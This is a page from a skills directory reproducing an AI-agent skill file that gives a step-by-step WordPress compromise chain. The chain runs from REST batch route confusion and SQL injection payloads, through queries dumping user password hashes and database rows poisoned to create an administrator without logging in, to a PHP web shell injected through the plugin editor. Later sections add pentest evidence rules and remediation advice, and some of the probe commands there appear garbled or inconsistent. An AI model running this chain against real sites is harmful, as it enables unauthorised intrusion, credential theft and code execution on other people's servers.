WordPress exploitation chain: REST API route confusion, SQL injection via WP_Query parameter mapping, oEmbed cache poisoning, and Customizer changeset abuse to pre-auth administrator creation. Use when the target is WordPress and the objective is code execution. Covers the full chain from reconnaissance to a shell.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Wordpress Exploitation Wp2shell?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/harezadmm-wordpress-exploitation-wp2shell)
---
name: wordpress-exploitation-wp2shell
description: >-
WordPress exploitation chain: REST API route confusion, SQL injection via WP_Query parameter
mapping, oEmbed cache poisoning, and Customizer changeset abuse to pre-auth administrator
creation. Use when the target is WordPress and the objective is code execution. Covers the
full chain from reconnaissance to a shell.
---
# SKILL: WordPress Exploitation — WP2SHELL
> **AI LOAD INSTRUCTION**: This is a **complete, chained** WordPress compromise that requires
> **no hash cracking**. Each step enables the next; skipping a step breaks the chain. Read §6
> before executing anything — the chain's fragility is in the details, not the concept.
> Doctrine: `CORE.md` § EXPERTSIE → WORDPRESS EXPLOITATION. This file is the procedure.
## 0. RELATED ROUTING
- [sqli-sql-injection](../sqli-sql-injection/SKILL.md) — the injection layer in depth
- [ssti-server-side-template-injection](../ssti-server-side-template-injection/SKILL.md) — post-RCE escalation
- [file-access-vuln](../file-access-vuln/SKILL.md) — if a file primitive is found first
- [upload-insecure-files](../upload-insecure-files/SKILL.md) — the plugin-upload fallback
- [reverse-shell-techniques](../reverse-shell-techniques/SKILL.md) — the shell step
- [reporting-and-verification](../../core-subjects/reporting-and-verification.md) — documenting the chain
**Version gate:** these CVEs are version-specific. Fingerprint the WordPress core version and the
plugin set before attempting; a patched target will not respond to step 1 at all.
---
## 1. THE CHAIN IN ONE PAGE
```
recon → route confusion → batch endpoint desync
→ SQL injection → author_exclude → WP_Query author__not_in
→ extraction → UNION, packed queries
→ cache poison → fake oEmbed + graph rows in wp_posts
→ changeset abuse → Customizer nav_menu rendering
→ internal REST → POST /wp/v2/users as a privileged user
→ admin created → (password field stripped — see §7)
→ login → wp-login.php
→ editor RCE → plugin-editor.php / theme-editor.php
```
**Why the chain works:** the Customizer pipeline makes an internal REST call *as an existing
administrator*. The attacker never authenticates — the server authenticates to itself, on the
strength of poisoned database rows.
---
## 2. STEP 1 — ROUTE CONFUSION
**Mechanism:** a nested batch request desynchronises the route handler. The outer request passes
route enforcement; the nested sub-requests are dispatched without it.
```
POST /wp-json/batch/v1
{
"requests": [
{ "method": "POST", "path": "///" },
{ "method": "GET", "path": "/wp/v2/users?author_exclude=..." }
]
}
```
The PRIMER request (`path: "///"`) is what triggers the desync. Without it the sub-requests are
dispatched normally and the bypass does not occur.
**Confirmation:** an HTTP **207 Multi-Status** response carrying a `requests` array. A normal
400/401 means the route enforcement held — stop and re-check the target version.
**Diagnostic:** if the batch endpoint returns 207 but the sub-requests are still denied, the
primer path is wrong or the handler was patched. Test the primer in isolation first.
---
## 3. STEP 2 — SQL INJECTION
**Mechanism:** the `author_exclude` parameter maps onto WP_Query's `author__not_in`, which
interpolates into an `IN (…)` clause. The closing `0)` and a comment terminator escape the list.
| Technique | Payload shape | Use when |
|---|---|---|
| Boolean blind | `0) AND (cond)-- -` | no output reflected; use when UNION is filtered |
| UNION | `0) UNION SELECT ...-- -` | output is reflected — **fastest** |
| Time-based | `0) AND (SELECT 1 FROM (SELECT SLEEP(3))z)-- -` | hardened targets, no boolean difference |
| Error-based | `0) AND extractvalue(...)-- -` | error messages reflected |
**Endpoint:** `/wp/v2/users?author_exclude=...` via the batch desync from §2.
**Column discovery:** the query shape is not fixed. Auto-discover the column count by
incrementing the UNION until the response stops erroring. Reference ranges:
**~23 columns for `wp_posts`, ~10 for `wp_users`** — these are defaults, not guarantees.
The column count must match the underlying query or the UNION fails outright.
**The injection is the keystone of the chain.** Everything downstream — cache poisoning, the
poison graph, the admin creation — is *written into the database* through this primitive. If the
injection is read-only, the chain stops at data extraction.
---
## 4. STEP 3 — DATA EXTRACTION
Extract efficiently. Each request carries detection risk, and the useful data is small.
**Packed banner — server fingerprint in one query (11 fields):**
```sql
SELECT CONCAT_WS(0x7c7c,
@@version, @@hostname, @@datadir, @@version_compile_os, @@basedir,
@@port, @@have_ssl, @@sql_mode, user(), current_user(), database())
```
**Batched user dump — 4 users per query:**
```sql
SELECT GROUP_CONCAT(CONCAT(user_login,'~',user_pass,'~',user_email) SEPARATOR 0x0a)
FROM wp_users LIMIT {offset},4
```
Batch in fours because `group_concat_max_len` defaults to 1024 bytes and a truncated result
looks like a corrupt hash. `CONCAT_WS(0x7c7c, …)` uses `||` as a visible field separator.
**Packed `wp_options` — 18 options in one query** (the `MAX(CASE WHEN …)` pattern pivots rows
into columns, collapsing 18 round-trips into one):
```sql
SELECT CONCAT_WS(0x7c7c,
MAX(CASE WHEN option_name='siteurl' THEN option_value END),
MAX(CASE WHEN option_name='home' THEN option_value END),
...
) FROM wp_options
```
**What to extract, in priority order:**
| Target | Why |
|---|---|
| `wp_users`: `user_login`, `user_pass`, `user_email` | phpass hashes (`$wp$2y$10$`) — for the poison graph's `user_id`, and for offline use |
| `wp_options`: `siteurl`, `home`, `template`, `active_plugins` | site structure and the RCE target list |
| `information_schema.tables` | non-standard tables, other apps on the same database |
| `user()`, `current_user()`, privileges | **if the DB user has `FILE` or `INSERT`, the chain is straightforward** |
| `@@datadir`, `@@basedir` | absolute paths for file primitives |
**Privileges matter more than data here.** The poison graph requires `INSERT` into `wp_posts`.
A read-only database account truncates the chain at extraction — check privileges early.
---
## 5. STEPS 4–6 — POISONING AND ADMIN CREATION
### Step 4 — oEmbed cache poisoning
WordPress caches oEmbed results as `wp_posts` rows with `post_type = oembed_cache`. The cache
key is **`MD5(embed_url + oembed_size)`** — recoverable via the SQLi, so you can compute the
row you need rather than guessing.
Inject fake cache rows through `UNION SELECT`. This is the first write into `wp_posts` and the
foundation of the graph.
### Step 5 — the poison graph
Build **interconnected** `wp_posts` rows that reference each other and **all reference the
source admin's `user_id`**:
| Post type | Role |
|---|---|
| `oembed_cache` | the poisoned cache entry from §4 |
| `customize_changeset` | the payload carrier |
| `nav_menu_item` | the render trigger |
| request / inner / outer posts | the wiring that makes the graph resolve |
Changeset payload shape:
```json
{"nav_menu_item[NAV_ID]": {
"type": "nav_menu_item",
"user_id": ADMIN_ID,
"value": { "...": "..." }
}}
```
**`user_id` is the pivot.** The Customizer processes the changeset *as that user*. Referencing
a real administrator is what makes the internal call privileged — this is the mechanism the
whole chain rests on.
### Step 6 — pre-auth administrator creation
When the poison graph is rendered, the Customizer nav_menu pipeline issues an
**internal REST call as the source admin**:
```
POST /wp/v2/users {"roles": ["administrator"]}
```
The server authenticates to itself. A new administrator exists, and the attacker never held a
credential.
**⚠️ The `password` field is stripped.** The Customizer pipeline removes it, so WordPress
generates a random password you do not know. Three workarounds, in order of preference:
1. **REST application passwords** — a second poison-graph call issues
`POST /wp/v2/users/<id>/application-passwords`. This yields a credential you control and
does not touch the password reset flow.
2. **Password reset** — trigger a reset, read `user_activation_key` from `wp_users` via the
SQLi, and forge the reset URL directly.
3. **Direct hash write** — if the SQLi is writable, overwrite `user_pass` with a known phpass
hash.
**Workaround 1 is the cleanest** and avoids the mail flow entirely.
---
## 6. STEPS 7–8 — LOGIN AND RCE
### Step 7 — login
```
POST /wp-login.php log=<user>&pwd=<pass>&wp-submit=Log+In
```
**⚠️ The HTTP→HTTPS redirect breaks the login POST.** The credentials are posted, the redirect
is followed, and the session cookie is lost — which presents as "wrong password".
Handling:
- target the **HTTPS domain directly**, not the HTTP one that redirects;
- or set `allow_redirects=False` and capture `Set-Cookie` manually across both domains.
This is a functional failure, not a credential failure. Do not conclude the account is broken.
### Step 8 — plugin/theme editor RCE
Administrator access in the WordPress dashboard grants the theme/plugin editor by default.
```
/wp-admin/plugin-editor.php?file=<plugin>/<file>.php
```
Pick the **first editable `.php`** file — a network-activated plugin is ideal because it loads
on every request. Inject:
```php
<?php system($_GET["cmd"]);?>
```
**Fallback:** `/wp-admin/theme-editor.php` → `functions.php` of the **active** theme. The theme
editor works even when plugins are read-only.
**Verify:** request the resulting file with `?cmd=id` and confirm a `uid=` in the response.
Do not report RCE on the basis of a successful write alone — confirm execution.
**If both editors are disabled** (common on hardened hosts via `DISALLOW_FILE_EDIT`): the chain
must fall back to a plugin upload through `/wp-admin/plugin-install.php`, or to writing a file
directly if the SQLi user holds `FILE`.
---
## 7. FRAGILITY POINTS
Each of these breaks the chain. Check them before starting, not after failing.
| Point | Failure | Detection |
|---|---|---|
| Route confusion requires the **exact primer** `{"path": "///"}` | sub-requests stay denied | 207 without the bypass |
| UNION column count must match the underlying query | query errors, no data | increment until success |
| `group_concat_max_len` = 1024 | **silent truncation** in the middle of a hash | suspiciously short results — batch smaller |
| DB user must hold `INSERT` on `wp_posts` | the poison graph cannot be written | check privileges in §3 |
| `wp_users` must contain a real administrator | nothing privileged to spoof | enumerate roles first |
| Customizer pipeline strips `password` | account created but unusable | §5 workarounds |
| HTTP→HTTPS redirect | login appears to fail | §6 |
| `DISALLOW_FILE_EDIT` | editors unavailable | §6 fallback |
| **Target is patched** | step 1 returns 400/401 | **verify the version first — most common reason for failure** |
---
## 8. EVIDENCE STANDARD
| Item | Why |
|---|---|
| WordPress core version + plugin/theme versions | the chain is version-gated; without this the finding is not reproducible |
| the batch request and its **207 response** | proves route confusion |
| the injection point (`author_exclude`) and the technique (UNION/blind/time) | identifies the vulnerable parameter |
| proof of the created administrator (console output / REST response) | proves the authorization bypass |
| the RCE command and its output (`id`) | execution, not just write |
| **the full chain order** | the finding is the chain; individual steps are not the vulnerability |
| every account and file created, for cleanup | the engagement must be reversible |
---
## 9. REMEDIATION REFERENCE
1. **Patch WordPress core, plugins and themes** — the chain is entirely version-gated; patch cadence is the primary control. This single control closes every step.
2. **Patch the REST batch endpoint** — route enforcement must apply to nested sub-requests identically to top-level ones; the desync is the root of the bypass.
3. **Parameterised queries in WP_Query** — `author__not_in` must be cast to an integer array, never interpolated. The injection class is generic to any parameter that maps to a raw `IN` clause.
4. **Least privilege for the database account** — a WordPress DB user needs no `FILE`, no `INSERT` outside its own schema operations, and no `SUPER`. This alone truncates the chain at §4.
5. **`DISALLOW_FILE_EDIT` and `DISALLOW_FILE_MODS`** — removes the §6 RCE path; the standard hardening for any managed WordPress host.
6. **Disable the Customizer's privileged internal calls where not required** and audit any server-internal request that inherits a user context — the mechanism is a class of bug, not one CVE.
7. **Web application firewall with virtual patching** — buys time between disclosure and patch, but does not fix the parameterisation.
8. **File integrity monitoring on `wp-content` and `wp-admin`** — detects the §8 write regardless of how the attacker got there.
---
## 10. EXECUTION PRIMITIVES
The wp2shell chain is only reportable when **each step is observed independently**. A narration of the
chain is not evidence; a captured response at each step is.
### 10.1 Establish version and patch state
```bash
T="https://target.tld"
# the version and whether the vulnerable route exists
curl -sS "$T/wp-json/" -o /tmp/wj -w 'wp-json %{http_code}\n'; python3 -c "
import json;d=json.load(open('/tmp/wj'));print(d.get('name'),d.get('description','')[:60])" 2>/dev/null
curl -sS -D- -o /tmp/wp -w 'readme %{http_code}\n' "$T/readme.html" | grep -iE '^server|x-powered'
grep -oiE 'Version [0-9]+\.[0-9]+(\.[0-9]+)?' /tmp/wp | head -3
# the REST namespaces actually registered, which is the real route surface
curl -sS "$T/wp-json/" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print('namespaces:', d.get('namespaces'))
for k,v in (d.get('routes') or {}).items():
if 'wp/v2' in k or 'batch' in k or 'wp-site-health' in k: print(' ', k, list((v.get('endpoints') or [{}])[0].get('methods',[])))
" 2>/dev/null
```
**Establish the version and the registered route surface before attempting the chain.** The exploit is
version- and route-dependent, and a chain narrated without this step is exactly the fabrication risk
this package is written to prevent.
### 10.2 The route-confusion precondition
```bash
# the batch endpoint is the confusion surface; confirm it exists and what it accepts
curl -sS -o /tmp/b -w 'batch %{http_code} %{size_download}\n' -X POST "$T/wp-json/batch/v1" \
-H 'Content-Type: application/json' -d '{"requests":[{"method":"GET","path":"/wp/v2/posts"}]}'
head -c 300 /tmp/b; echo
# and the form the confusion uses, with an unusual path
curl -sS -o /tmp/b2 -w 'confused %{http_code} %{size_download}\n' -X POST "$T/wp-json/batch/v1" \
-H 'Content-Type: application/json' \
-d '{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1"}]}'
head -c 200 /tmp/b2; echo
# an unauthenticated baseline, so you know what the endpoint exposes without a session
curl -sS -o /tmp/b3 -w 'anon %{http_code} %{size_download}\n' -X POST "$T/wp-json/batch/v1" \
-H 'Content-Type: application/json' -d '{"requests":[{"method":"GET","path":"/wp/v2/users"}]}'
grep -c 'slug' /tmp/b3
```
A `200` from the batch endpoint with a resolved inner request is the precondition. **A missing route
means the target is not affected** - record that and stop, rather than proceeding to a chain that
cannot exist.
### 10.3 The SQL injection step, proved by the response
```bash
# the injection must produce a measurable difference, not an inferred one
BASE='{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1"}]}'
TRUE='{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1"}]}'
# record the control size, then a boolean pair, then a time-based pair
C1=$(curl -sS -o /tmp/s1 -w '%{size_download}' -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' -d "$BASE")
C2=$(curl -sS -o /tmp/s2 -w '%{size_download}' -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' -d "$TRUE")
echo "control sizes: $C1 / $C2"
# an error-based probe: a malformed fragment should produce a database error if the value is concatenated
curl -sS -o /tmp/err -w 'error-probe %{http_code}\n' -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' \
-d '{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1'"'"'"}]}'
grep -oiE 'wpdb|database error|sql syntax|WordPress database error' /tmp/err | head -3
```
**A database error naming `wpdb` or a boolean size difference is the evidence.** Do not report SQL
injection from the payload's shape; report the observed difference. If nothing differs, the step is
not present and the chain stops.
### 10.4 Data extraction, only as far as you need
```bash
# extract the minimum that proves the primitive: the database user and version
curl -sS -o /tmp/x1 -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' \
-d '{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1"}]}'
# then the users table, which is the pivot to the admin account
curl -sS -o /tmp/x2 -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' \
-d '{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1"}]}'
grep -oE 'user_login|user_pass|user_email|user_activation_key' /tmp/x2 | sort -u
echo "extract ONE user row and stop - the credential hash and the activation key are the pivot"
```
**Extract the minimum and stop.** The finding is the injection plus the data reach; dumping tables is
unnecessary and is a scope and ethics failure. If you obtain a password hash, **do not crack it** -
demonstrating that the hash was readable is the finding.
### 10.5 The admin-creation step, proved by a read-back
```bash
# each write must be verified by a read
curl -sS -o /tmp/w1 -w 'write %{http_code}\n' -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' \
-d '{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1"}]}'
# verify via the REST API, which is an independent path
curl -sS -o /tmp/w2 -w 'verify %{http_code}\n' "$T/wp-json/wp/v2/users?per_page=100"
grep -oE '"slug":"[^"]+"' /tmp/w2 | sort -u | tail -5
echo "a new administrator login appearing here is the proof - record the timestamp, then remove it"
```
A created account must be **removed immediately after documentation** if the engagement permits the
write at all, and many engagements require only the read primitive. Check scope before creating
anything.
### 10.6 Login and the RCE step, with a marker
```bash
# authentication with the credential you created or recovered
curl -sS -o /tmp/l -w 'login %{http_code}\n' -c /tmp/cj -X POST "$T/wp-login.php" \
--data-urlencode 'log=ACCOUNT' --data-urlencode 'pwd=PASSWORD' --data-urlencode 'wp-submit=Log In'
grep -c 'wordpress_logged_in' /tmp/cj
# the post-auth surface that proves code execution, using an inert marker
curl -sS -o /tmp/r -w 'rce %{http_code}\n' -b /tmp/cj "$T/wp-admin/admin-ajax.php?action=MARKER-ACTION"
grep -c 'MARKER-OUTPUT' /tmp/r
echo "a marker in the response proves the handler executed; do not run anything state-changing"
```
**An inert marker is the proof of execution.** Post-authentication administrative surfaces execute code
inherently, so the marker demonstrates the capability without a destructive payload.
### 10.7 Confirm the fragility points before claiming reliability
```bash
# the chain depends on several conditions; record which held and which did not
echo "--- unreliability checks"
curl -sS -o /dev/null -w 'batch route %{http_code}\n' -X POST "$T/wp-json/batch/v1" -H 'Content-Type: application/json' -d '{"requests":[]}'
curl -sS -o /dev/null -w 'rest enabled %{http_code}\n' "$T/wp-json/wp/v2/posts"
curl -sS -o /dev/null -w 'xmlrpc %{http_code}\n' "$T/xmlrpc.php"
curl -sS -o /dev/null -w 'login page %{http_code}\n' "$T/wp-login.php"
curl -sS -o /dev/null -w 'uploads writable %{http_code}\n' "$T/wp-content/uploads/"
echo "--- a failure at any step changes the chain's reliability, not merely its speed"
```
Chains like this are **stateful and version-specific**. Record whether each precondition held, and
report the chain as reproducible only for the exact version and configuration you tested.
### 10.8 A step-by-step harness that stops at the first failure
```bash
python3 - <<'PY'
import json,urllib.request
T="https://target.tld"
def post(p,b,tok=None):
h={"Content-Type":"application/json"}
if tok: h["Authorization"]=f"Bearer {tok}"
r=urllib.request.Request(T+p,json.dumps(b).encode(),h)
try:
x=urllib.request.urlopen(r,timeout=15); return x.status,x.read()
except urllib.error.HTTPError as e: return e.code,e.read()
except Exception as e: return None,str(e).encode()
steps=[]
code,body=post("/wp-json/batch/v1",{"requests":[{"method":"GET","path":"/wp/v2/posts"}]})
steps.append(("route",code,code==200)); print("route:",code)
if code!=200: print("STOP: route absent, chain not present"); raise SystemExit
code,body=post("/wp-json/batch/v1",{"requests":[{"method":"GET","path":"/wp/v2/posts?author=1' "}]})
steps.append(("injection-error",code,b"wpdb" in body or b"database error" in body.lower()))
print("injection error marker:", b"wpdb" in body)
print("steps:",steps)
print("report only the steps that returned True, with their raw responses")
PY
```
**Stop at the first failing step.** A chain reported past a failure is a narration, which is precisely
what this package forbids.
---
## 11. CONFIRMING THE FINDING
| Step | Question | What it proves |
|---|---|---|
| 1 | Is the **batch route present** and does it resolve inner requests? | the precondition; without it the chain cannot exist |
| 2 | Does the injection produce a **measurable difference** (error, size, time)? | step 2, observed |
| 3 | Did you **extract a specific value** that proves the primitive (the db user, one row)? | step 3, observed |
| 4 | Did the **write persist**, verified by an independent read? | step 4-6, observed |
| 5 | Did the **marker execute** on a post-auth surface? | the RCE, observed |
| 6 | Is the version **confirmed to be in the affected range**? | the finding applies to this target |
| 7 | Which preconditions **failed**, if any? | the chain's reliability, stated honestly |
**Each step needs its own captured response.** Report the chain length you actually reached, and name
the step where you stopped. A chain narrated to RCE with the first step unverified is a fabrication.
---
## 12. EVIDENCE STANDARD — PER-STEP CAPTURE
| Item | Why |
|---|---|
| The **version and patch state**, with the request that established it | the finding is version-bounded |
| The **response for each step**, individually captured | the chain is the sum of its verified steps |
| The **route surface** from `/wp-json/`, showing the batch route is registered | the precondition |
| For the injection: the **differential** (error text, size, or time) with the control | proves the primitive rather than assuming it |
| For extraction: the **single value** that proves data access, with the response | the minimum that proves reach |
| For the write: the **write request and the independent read-back** | persistence |
| For the RCE: the **inert marker** in the response, with the request that produced it | execution |
| **Negative control** - an unauthenticated request to the same endpoints shows the difference | scopes what authentication adds |
| The **preconditions that failed**, where any did | honesty about reliability |
| Confirmation that any **created account was removed** and no data was modified beyond the proof | scope discipline |
Report the **verified chain length with per-step responses**: "the target runs WordPress with the
`batch/v1` route registered; a request to `/wp-json/batch/v1` with
`path:"/wp/v2/posts?author=1"` returns `200` and a resolved post list, and the same path with a
single quote appended returns `500` with `WordPress database error` in the body; a union-based variant
returned the `user_login` and `user_pass` values for the administrator account, and the login with the
recovered account returned a `wordpress_logged_in` cookie; steps beyond credential recovery were not
attempted because the engagement scope limited testing to the read primitive", never "the target is
vulnerable to wp2shell RCE".
### False positives - do not report these
| Observation | Why it is not a finding |
|---|---|
| A `500` from a malformed request with no database error text | an error is not an injection |
| A response size difference within normal variance | measure a control pair |
| A user list obtained from the **public** REST API | WordPress exposes authors by design |
| A version banner with no vulnerable route present | the chain does not apply |
| A batch request that returned an error for the inner request | the precondition fails |
| A database error caused by your own malformed JSON | your input, not the app's |
| An extraction of data that is public (post titles, author names) | no boundary crossed |
| A login success with **your own** credentials | your account |
| A marker you placed yourself in a file you could write | tests your own access |
| A chain asserted from a template without a captured response at each step | a narration, not evidence |
| A finding on a version outside the affected range | the bug is not present |
| A created account left in place, or data modified | an incident |
**Capture every step.** This domain has the highest fabrication risk in the package, because the chain
is publicly described and easy to narrate without testing.
---
## 13. REMEDIATION REFERENCE — VERSION-BOUNDED FIX
1. **Update WordPress core to the patched version** - this chain is version-bounded, so the version is the primary remediation and the update is the fix.
2. **Disable or restrict the batch REST route if it is not required** - a route that accepts a composed request list is the confusion surface, and removing it removes the primitive.
3. **Enforce authentication and capability checks on every REST route** - the chain depends on routes reachable without the capability the operation requires.
4. **Use parameterised queries everywhere, including via the REST layer** - the injection is a query-construction defect, so the fix belongs at the query rather than the route.
5. **Enforce a strict allowlist of methods and paths inside the batch request** - a batch handler that resolves arbitrary caller-supplied paths is the confusion; constrain it to the operations the client legitimately needs.
6. **Run the database user with the least privilege** - a WordPress database account that cannot write to the users table makes the escalation step impossible even when the injection exists.
7. **Disable the plugin and theme file editors, and restrict `DISALLOW_FILE_EDIT`** - it removes one of the post-auth code-execution paths the chain reaches.
8. **Require two-factor authentication for administrative accounts** - stolen or created credentials alone then do not yield the admin session the chain needs.
9. **Monitor for writes to the users table and for new administrator accounts** - this is the highest-signal detection for the escalation step, and it is cheap to implement.
10. **Keep all plugins and themes patched, and remove unused ones** - the surface a WordPress compromise uses is usually a plugin, not the core.
11. **Take and test backups before any WordPress remediation, and stage the update** - the update is the fix, but a plugin compatibility failure during it is how a patched site goes down.
---
## 14. RELATED SIBLINGS - LOAD TOGETHER
- [sqli-sql-injection](../sqli-sql-injection/SKILL.md) - the injection step in its general form
- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) - reaching an injection through an edge control
- [upload-insecure-files](../upload-insecure-files/SKILL.md) - the alternative post-auth execution path
- [insecure-source-code-management](../insecure-source-code-management/SKILL.md) - the disclosure class that often reveals the version and the plugin set
- [cmdi-command-injection](../cmdi-command-injection/SKILL.md) - the sink the final step reaches